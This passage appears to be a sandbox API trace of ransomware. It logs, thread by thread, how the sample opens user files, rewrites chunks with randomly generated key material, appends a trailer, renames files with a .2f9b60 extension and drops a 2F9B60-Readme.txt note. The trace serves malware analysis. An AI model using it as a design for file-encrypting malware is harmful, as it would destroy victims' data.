0x1b79e6f0 [0241.559] wcscpy (in: _Dest=0x1b79e6f0, _Source="C:\\Users\\Public\\Pictures\\Sample Pictures\\" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\" [0241.559] wcscat (in: _Dest=0x1b79e6f0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\2F9B60-Readme.txt") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\2F9B60-Readme.txt" [0241.559] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\2F9B60-Readme.txt" (normalized: "c:\\users\\public\\pictures\\sample pictures\\2f9b60-readme.txt")) returned 0x20 [0241.560] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e6f0) returned 1 [0241.560] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d510) returned 1 Thread: id = 1301 os_tid = 0xe58 [0116.734] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\tulips.jpg")) returned 0x20 [0116.773] SetFileAttributesW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg", dwFileAttributes=0x20) returned 1 [0116.790] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\tulips.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1728 [0116.827] GetFileSizeEx (in: hFile=0x1728, lpFileSize=0x3b82f6c0 | out: lpFileSize=0x3b82f6c0*=620888) returned 1 [0116.827] SetFilePointerEx (in: hFile=0x1728, liDistanceToMove=0x97954, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.827] ReadFile (in: hFile=0x1728, lpBuffer=0x3b82f640, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3b82f688, lpOverlapped=0x0 | out: lpBuffer=0x3b82f640*, lpNumberOfBytesRead=0x3b82f688*=0x4, lpOverlapped=0x0) returned 1 [0116.865] SetFilePointerEx (in: hFile=0x1728, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.865] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fa00 [0116.865] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860de0 [0116.865] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860ea0 [0116.865] NtQuerySystemTime (in: CurrentTime=0x3b82f580 | out: CurrentTime=0x3b82f580*=132462177223114000) returned 0x0 [0116.865] RtlRandomEx (in: Seed=0x3b82f570 | out: Seed=0x3b82f570) returned 0x4c5103cb [0116.865] RtlRandomEx (in: Seed=0x3b82f570 | out: Seed=0x3b82f570) returned 0x2f9783a1 [0116.865] RtlRandomEx (in: Seed=0x3b82f570 | out: Seed=0x3b82f570) returned 0x3ad25a78 [0116.865] RtlRandomEx (in: Seed=0x3b82f570 | out: Seed=0x3b82f570) returned 0x8dce04c [0116.865] RtlRandomEx (in: Seed=0x3b82f570 | out: Seed=0x3b82f570) returned 0x1688d1a9 [0116.865] RtlRandomEx (in: Seed=0x3b82f570 | out: Seed=0x3b82f570) returned 0x5762512f [0116.865] RtlRandomEx (in: Seed=0x3b82f570 | out: Seed=0x3b82f570) returned 0x32f866b1 [0116.865] RtlRandomEx (in: Seed=0x3b82f570 | out: Seed=0x3b82f570) returned 0x7cb86a88 [0116.865] RtlRandomEx (in: Seed=0x3b82f570 | out: Seed=0x3b82f570) returned 0x1a0ff9c2 [0116.865] RtlRandomEx (in: Seed=0x3b82f570 | out: Seed=0x3b82f570) returned 0x5bca23dd [0116.865] RtlRandomEx (in: Seed=0x3b82f570 | out: Seed=0x3b82f570) returned 0x3d4869a5 [0116.865] RtlRandomEx (in: Seed=0x3b82f570 | out: Seed=0x3b82f570) returned 0x318dc8b4 [0116.865] RtlRandomEx (in: Seed=0x3b82f570 | out: Seed=0x3b82f570) returned 0x7bd0e0a3 [0116.865] RtlRandomEx (in: Seed=0x3b82f570 | out: Seed=0x3b82f570) returned 0x413eb4f6 [0116.866] RtlRandomEx (in: Seed=0x3b82f570 | out: Seed=0x3b82f570) returned 0x186ec455 [0116.866] RtlRandomEx (in: Seed=0x3b82f570 | out: Seed=0x3b82f570) returned 0x53e36065 [0116.866] RtlRandomEx (in: Seed=0x3b82f570 | out: Seed=0x3b82f570) returned 0x3bc29c38 [0116.866] RtlRandomEx (in: Seed=0x3b82f570 | out: Seed=0x3b82f570) returned 0x18d1d97d [0116.866] RtlRandomEx (in: Seed=0x3b82f570 | out: Seed=0x3b82f570) returned 0x4b50343c [0116.866] RtlRandomEx (in: Seed=0x3b82f570 | out: Seed=0x3b82f570) returned 0x3705b28a [0116.866] RtlRandomEx (in: Seed=0x3b82f570 | out: Seed=0x3b82f570) returned 0x59ccea73 [0116.866] RtlRandomEx (in: Seed=0x3b82f570 | out: Seed=0x3b82f570) returned 0xc2f1812 [0116.866] RtlRandomEx (in: Seed=0x3b82f570 | out: Seed=0x3b82f570) returned 0x185ce469 [0116.866] RtlRandomEx (in: Seed=0x3b82f570 | out: Seed=0x3b82f570) returned 0x6997466e [0116.866] RtlRandomEx (in: Seed=0x3b82f570 | out: Seed=0x3b82f570) returned 0x2e46aab1 [0116.866] RtlRandomEx (in: Seed=0x3b82f570 | out: Seed=0x3b82f570) returned 0x33bcbd19 [0116.866] RtlRandomEx (in: Seed=0x3b82f570 | out: Seed=0x3b82f570) returned 0x2bc604a4 [0116.866] RtlRandomEx (in: Seed=0x3b82f570 | out: Seed=0x3b82f570) returned 0x11839618 [0116.866] RtlRandomEx (in: Seed=0x3b82f570 | out: Seed=0x3b82f570) returned 0x7dce0af9 [0116.866] RtlRandomEx (in: Seed=0x3b82f570 | out: Seed=0x3b82f570) returned 0x535e091a [0116.866] RtlRandomEx (in: Seed=0x3b82f570 | out: Seed=0x3b82f570) returned 0x4f202ea2 [0116.866] RtlRandomEx (in: Seed=0x3b82f570 | out: Seed=0x3b82f570) returned 0x3b02d684 [0116.875] SetFilePointerEx (in: hFile=0x1728, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.875] ReadFile (in: hFile=0x1728, lpBuffer=0x41bb5950, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3b82f5e0, lpOverlapped=0x0 | out: lpBuffer=0x41bb5950*, lpNumberOfBytesRead=0x3b82f5e0*=0x3c00, lpOverlapped=0x0) returned 1 [0116.893] SetFilePointerEx (in: hFile=0x1728, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.893] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bcc0 [0116.893] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868340 [0116.893] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860ea0 [0116.893] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860ea0) returned 1 [0116.893] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41b93cc0 [0116.893] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860ea0 [0116.893] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860ff0 [0116.894] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860ff0) returned 1 [0116.894] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868340) returned 1 [0116.894] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bcc0) returned 1 [0116.894] WriteFile (in: hFile=0x1728, lpBuffer=0x41b93cc0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3b82f5e0, lpOverlapped=0x0 | out: lpBuffer=0x41b93cc0*, lpNumberOfBytesWritten=0x3b82f5e0*=0x3c00, lpOverlapped=0x0) returned 1 [0130.189] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b93cc0) returned 1 [0130.189] SetFilePointerEx (in: hFile=0x1728, liDistanceToMove=0x4ec00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.189] ReadFile (in: hFile=0x1728, lpBuffer=0x41bb5950, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3b82f5e0, lpOverlapped=0x0 | out: lpBuffer=0x41bb5950*, lpNumberOfBytesRead=0x3b82f5e0*=0x3c00, lpOverlapped=0x0) returned 1 [0130.203] SetFilePointerEx (in: hFile=0x1728, liDistanceToMove=0x4ec00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.204] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97120 [0130.204] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867ec0 [0130.204] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262e40 [0130.204] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262e40) returned 1 [0130.204] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41b93cc0 [0130.205] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262e40 [0130.205] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262270 [0130.205] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262270) returned 1 [0130.205] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867ec0) returned 1 [0130.205] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97120) returned 1 [0130.205] WriteFile (hFile=0x1728, lpBuffer=0x41b93cc0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3b82f5e0, lpOverlapped=0x0) [0170.994] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b93cc0) returned 1 [0170.994] SetFilePointerEx (in: hFile=0x1728, liDistanceToMove=0x93d58, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.994] ReadFile (in: hFile=0x1728, lpBuffer=0x41bb5950, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3b82f5e0, lpOverlapped=0x0 | out: lpBuffer=0x41bb5950*, lpNumberOfBytesRead=0x3b82f5e0*=0x3c00, lpOverlapped=0x0) returned 1 [0171.182] SetFilePointerEx (in: hFile=0x1728, liDistanceToMove=0x93d58, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.182] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97990 [0171.182] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79da70 [0171.182] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d0d0 [0171.183] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1d0d0) returned 1 [0171.183] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x420a01c0 [0171.183] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d0d0 [0171.184] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d100 [0171.184] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1d100) returned 1 [0171.184] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79da70) returned 1 [0171.185] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97990) returned 1 [0171.185] WriteFile (in: hFile=0x1728, lpBuffer=0x420a01c0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3b82f5e0, lpOverlapped=0x0 | out: lpBuffer=0x420a01c0*, lpNumberOfBytesWritten=0x3b82f5e0*=0x3c00, lpOverlapped=0x0) returned 1 [0194.945] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420a01c0) returned 1 [0194.945] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1cddfbb0 [0194.945] SetFilePointerEx (in: hFile=0x1728, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0194.945] WriteFile (in: hFile=0x1728, lpBuffer=0x1cebd7e0*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x3b82f690, lpOverlapped=0x0 | out: lpBuffer=0x1cebd7e0*, lpNumberOfBytesWritten=0x3b82f690*=0x146, lpOverlapped=0x0) returned 1 [0201.575] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebd7e0) returned 1 [0201.575] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43138740) returned 1 [0201.576] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43138770) returned 1 [0201.576] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860ea0) returned 1 [0201.576] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddfbb0) returned 1 [0201.577] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860de0) returned 1 [0201.577] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860e40) returned 1 [0201.577] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860ed0) returned 1 [0201.577] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b85ea10 [0201.578] wcscpy (in: _Dest=0x1b85ea10, _Source="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg" [0201.578] wcscat (in: _Dest=0x1b85ea10, _Source=".2f9b60" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg.2f9b60") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg.2f9b60" [0201.578] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg.2f9b60", NtPathName=0x3b82f6b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.578] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x43196fe0 [0227.343] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43196fe0) returned 1 [0227.343] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4320a950) returned 1 [0227.343] NtQueryInformationFile (in: FileHandle=0x1728, IoStatusBlock=0x3b82f718, FileInformation=0x3b82f728, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3b82f718, FileInformation=0x3b82f728) returned 0x0 [0227.343] NtSetInformationFile (FileHandle=0x1728, IoStatusBlock=0x3b82f718, FileInformation=0x3b82f728, Length=0x28, FileInformationClass=0x4) returned 0x0 [0235.166] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ea10) returned 1 [0235.166] FlushFileBuffers (hFile=0x1728) returned 1 [0238.184] CloseHandle (hObject=0x1728) returned 1 [0240.486] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b85e110 [0240.486] wcscpy (in: _Dest=0x1b85e110, _Source="C:\\Users\\Public\\Pictures\\Sample Pictures\\" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\" [0240.486] wcscat (in: _Dest=0x1b85e110, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\2F9B60-Readme.txt") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\2F9B60-Readme.txt" [0240.486] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\2F9B60-Readme.txt" (normalized: "c:\\users\\public\\pictures\\sample pictures\\2f9b60-readme.txt")) returned 0x20 [0240.487] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e110) returned 1 [0240.487] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86eb80) returned 1 Thread: id = 1302 os_tid = 0xe60 [0116.758] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches\\everywhere.search-ms")) returned 0x23 [0116.759] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms", dwFileAttributes=0x20) returned 1 [0117.007] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches\\everywhere.search-ms"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1660 [0117.012] GetFileSizeEx (in: hFile=0x1660, lpFileSize=0x3b8dfdc0 | out: lpFileSize=0x3b8dfdc0*=248) returned 1 [0117.012] SetFilePointerEx (in: hFile=0x1660, liDistanceToMove=0xf4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.013] ReadFile (in: hFile=0x1660, lpBuffer=0x3b8dfd40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3b8dfd88, lpOverlapped=0x0 | out: lpBuffer=0x3b8dfd40*, lpNumberOfBytesRead=0x3b8dfd88*=0x4, lpOverlapped=0x0) returned 1 [0117.014] SetFilePointerEx (in: hFile=0x1660, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.014] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9c10 [0117.014] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9b20 [0117.014] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9b80 [0117.014] NtQuerySystemTime (in: CurrentTime=0x3b8dfc80 | out: CurrentTime=0x3b8dfc80*=132462177224518000) returned 0x0 [0117.014] RtlRandomEx (in: Seed=0x3b8dfc70 | out: Seed=0x3b8dfc70) returned 0x6b18f2ce [0117.014] RtlRandomEx (in: Seed=0x3b8dfc70 | out: Seed=0x3b8dfc70) returned 0x63b1e3bb [0117.014] RtlRandomEx (in: Seed=0x3b8dfc70 | out: Seed=0x3b8dfc70) returned 0x2a9127e8 [0117.014] RtlRandomEx (in: Seed=0x3b8dfc70 | out: Seed=0x3b8dfc70) returned 0x2cbed3c6 [0117.014] RtlRandomEx (in: Seed=0x3b8dfc70 | out: Seed=0x3b8dfc70) returned 0x6d0544b8 [0117.014] RtlRandomEx (in: Seed=0x3b8dfc70 | out: Seed=0x3b8dfc70) returned 0x456d4a80 [0117.014] RtlRandomEx (in: Seed=0x3b8dfc70 | out: Seed=0x3b8dfc70) returned 0x23e7cff0 [0117.014] RtlRandomEx (in: Seed=0x3b8dfc70 | out: Seed=0x3b8dfc70) returned 0x53a55fb1 [0117.014] RtlRandomEx (in: Seed=0x3b8dfc70 | out: Seed=0x3b8dfc70) returned 0x38a2ff1c [0117.014] RtlRandomEx (in: Seed=0x3b8dfc70 | out: Seed=0x3b8dfc70) returned 0x37bf5cd7 [0117.014] RtlRandomEx (in: Seed=0x3b8dfc70 | out: Seed=0x3b8dfc70) returned 0x1ebdb8a5 [0117.014] RtlRandomEx (in: Seed=0x3b8dfc70 | out: Seed=0x3b8dfc70) returned 0x3e465031 [0117.014] RtlRandomEx (in: Seed=0x3b8dfc70 | out: Seed=0x3b8dfc70) returned 0x26daa9ba [0117.014] RtlRandomEx (in: Seed=0x3b8dfc70 | out: Seed=0x3b8dfc70) returned 0x2909c03d [0117.014] RtlRandomEx (in: Seed=0x3b8dfc70 | out: Seed=0x3b8dfc70) returned 0x7aebe098 [0117.014] RtlRandomEx (in: Seed=0x3b8dfc70 | out: Seed=0x3b8dfc70) returned 0x5a7751e0 [0117.014] RtlRandomEx (in: Seed=0x3b8dfc70 | out: Seed=0x3b8dfc70) returned 0x7506f670 [0117.014] RtlRandomEx (in: Seed=0x3b8dfc70 | out: Seed=0x3b8dfc70) returned 0x7896b57e [0117.014] RtlRandomEx (in: Seed=0x3b8dfc70 | out: Seed=0x3b8dfc70) returned 0x21840b05 [0117.014] RtlRandomEx (in: Seed=0x3b8dfc70 | out: Seed=0x3b8dfc70) returned 0x68bec17f [0117.014] RtlRandomEx (in: Seed=0x3b8dfc70 | out: Seed=0x3b8dfc70) returned 0x7aaafdef [0117.014] RtlRandomEx (in: Seed=0x3b8dfc70 | out: Seed=0x3b8dfc70) returned 0xbc97a2d [0117.014] RtlRandomEx (in: Seed=0x3b8dfc70 | out: Seed=0x3b8dfc70) returned 0x5c8d6c5 [0117.015] RtlRandomEx (in: Seed=0x3b8dfc70 | out: Seed=0x3b8dfc70) returned 0x4f46d180 [0117.015] RtlRandomEx (in: Seed=0x3b8dfc70 | out: Seed=0x3b8dfc70) returned 0x69277eb8 [0117.015] RtlRandomEx (in: Seed=0x3b8dfc70 | out: Seed=0x3b8dfc70) returned 0x6d785d47 [0117.015] RtlRandomEx (in: Seed=0x3b8dfc70 | out: Seed=0x3b8dfc70) returned 0x6fbcb854 [0117.015] RtlRandomEx (in: Seed=0x3b8dfc70 | out: Seed=0x3b8dfc70) returned 0x5673cd7 [0117.015] RtlRandomEx (in: Seed=0x3b8dfc70 | out: Seed=0x3b8dfc70) returned 0x501d0d40 [0117.015] RtlRandomEx (in: Seed=0x3b8dfc70 | out: Seed=0x3b8dfc70) returned 0x239c3df7 [0117.015] RtlRandomEx (in: Seed=0x3b8dfc70 | out: Seed=0x3b8dfc70) returned 0x7f03a460 [0117.015] RtlRandomEx (in: Seed=0x3b8dfc70 | out: Seed=0x3b8dfc70) returned 0x4cd7e5ae [0117.021] ReadFile (in: hFile=0x1660, lpBuffer=0x41bc85a0, nNumberOfBytesToRead=0xf8, lpNumberOfBytesRead=0x3b8dfc70, lpOverlapped=0x0 | out: lpBuffer=0x41bc85a0*, lpNumberOfBytesRead=0x3b8dfc70*=0xf8, lpOverlapped=0x0) returned 1 [0117.022] SetFilePointerEx (in: hFile=0x1660, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.022] WriteFile (in: hFile=0x1660, lpBuffer=0x41bcc1b0*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x3b8dfc74, lpOverlapped=0x0 | out: lpBuffer=0x41bcc1b0*, lpNumberOfBytesWritten=0x3b8dfc74*=0xf8, lpOverlapped=0x0) returned 1 [0117.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9c10 [0117.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9700 [0117.041] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9700) returned 1 [0117.041] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41bcc1b0) returned 1 [0117.042] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41bc85a0) returned 1 [0117.042] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869740) returned 1 [0117.042] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c4e0) returned 1 [0117.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1b7d86c0 [0117.042] SetFilePointerEx (in: hFile=0x1660, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0117.042] WriteFile (in: hFile=0x1660, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x3b8dfd90, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x3b8dfd90*=0x11a, lpOverlapped=0x0) returned 1 [0117.059] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c710 [0117.059] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869bc0 [0117.059] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa470 [0117.059] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa470) returned 1 [0117.059] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x202aa470 [0117.059] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860fc0 [0117.059] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860f90 [0117.059] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860f90) returned 1 [0117.059] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869bc0) returned 1 [0117.060] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c710) returned 1 [0117.060] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x51) returned 0x1b8587f0 [0117.060] sprintf (in: _Dest=0x1b8587f0, _Format="%c%c" | out: _Dest="a3") returned 2 [0117.060] sprintf (in: _Dest=0x1b8587f2, _Format="%c%c" | out: _Dest="f9") returned 2 [0117.060] sprintf (in: _Dest=0x1b8587f4, _Format="%c%c" | out: _Dest="57") returned 2 [0117.060] sprintf (in: _Dest=0x1b8587f6, _Format="%c%c" | out: _Dest="48") returned 2 [0117.060] sprintf (in: _Dest=0x1b8587f8, _Format="%c%c" | out: _Dest="02") returned 2 [0117.060] sprintf (in: _Dest=0x1b8587fa, _Format="%c%c" | out: _Dest="9c") returned 2 [0117.060] sprintf (in: _Dest=0x1b8587fc, _Format="%c%c" | out: _Dest="a9") returned 2 [0117.060] sprintf (in: _Dest=0x1b8587fe, _Format="%c%c" | out: _Dest="ab") returned 2 [0117.060] sprintf (in: _Dest=0x1b858800, _Format="%c%c" | out: _Dest="bc") returned 2 [0117.060] sprintf (in: _Dest=0x1b858802, _Format="%c%c" | out: _Dest="11") returned 2 [0117.060] sprintf (in: _Dest=0x1b858804, _Format="%c%c" | out: _Dest="d8") returned 2 [0117.060] sprintf (in: _Dest=0x1b858806, _Format="%c%c" | out: _Dest="d2") returned 2 [0117.060] sprintf (in: _Dest=0x1b858808, _Format="%c%c" | out: _Dest="46") returned 2 [0117.060] sprintf (in: _Dest=0x1b85880a, _Format="%c%c" | out: _Dest="e8") returned 2 [0117.060] sprintf (in: _Dest=0x1b85880c, _Format="%c%c" | out: _Dest="0a") returned 2 [0117.060] sprintf (in: _Dest=0x1b85880e, _Format="%c%c" | out: _Dest="8c") returned 2 [0117.060] sprintf (in: _Dest=0x1b858810, _Format="%c%c" | out: _Dest="a5") returned 2 [0117.060] sprintf (in: _Dest=0x1b858812, _Format="%c%c" | out: _Dest="09") returned 2 [0117.060] sprintf (in: _Dest=0x1b858814, _Format="%c%c" | out: _Dest="61") returned 2 [0117.060] sprintf (in: _Dest=0x1b858816, _Format="%c%c" | out: _Dest="e2") returned 2 [0117.060] sprintf (in: _Dest=0x1b858818, _Format="%c%c" | out: _Dest="73") returned 2 [0117.060] sprintf (in: _Dest=0x1b85881a, _Format="%c%c" | out: _Dest="2d") returned 2 [0117.060] sprintf (in: _Dest=0x1b85881c, _Format="%c%c" | out: _Dest="9a") returned 2 [0117.060] sprintf (in: _Dest=0x1b85881e, _Format="%c%c" | out: _Dest="19") returned 2 [0117.060] sprintf (in: _Dest=0x1b858820, _Format="%c%c" | out: _Dest="ee") returned 2 [0117.060] sprintf (in: _Dest=0x1b858822, _Format="%c%c" | out: _Dest="d3") returned 2 [0117.060] sprintf (in: 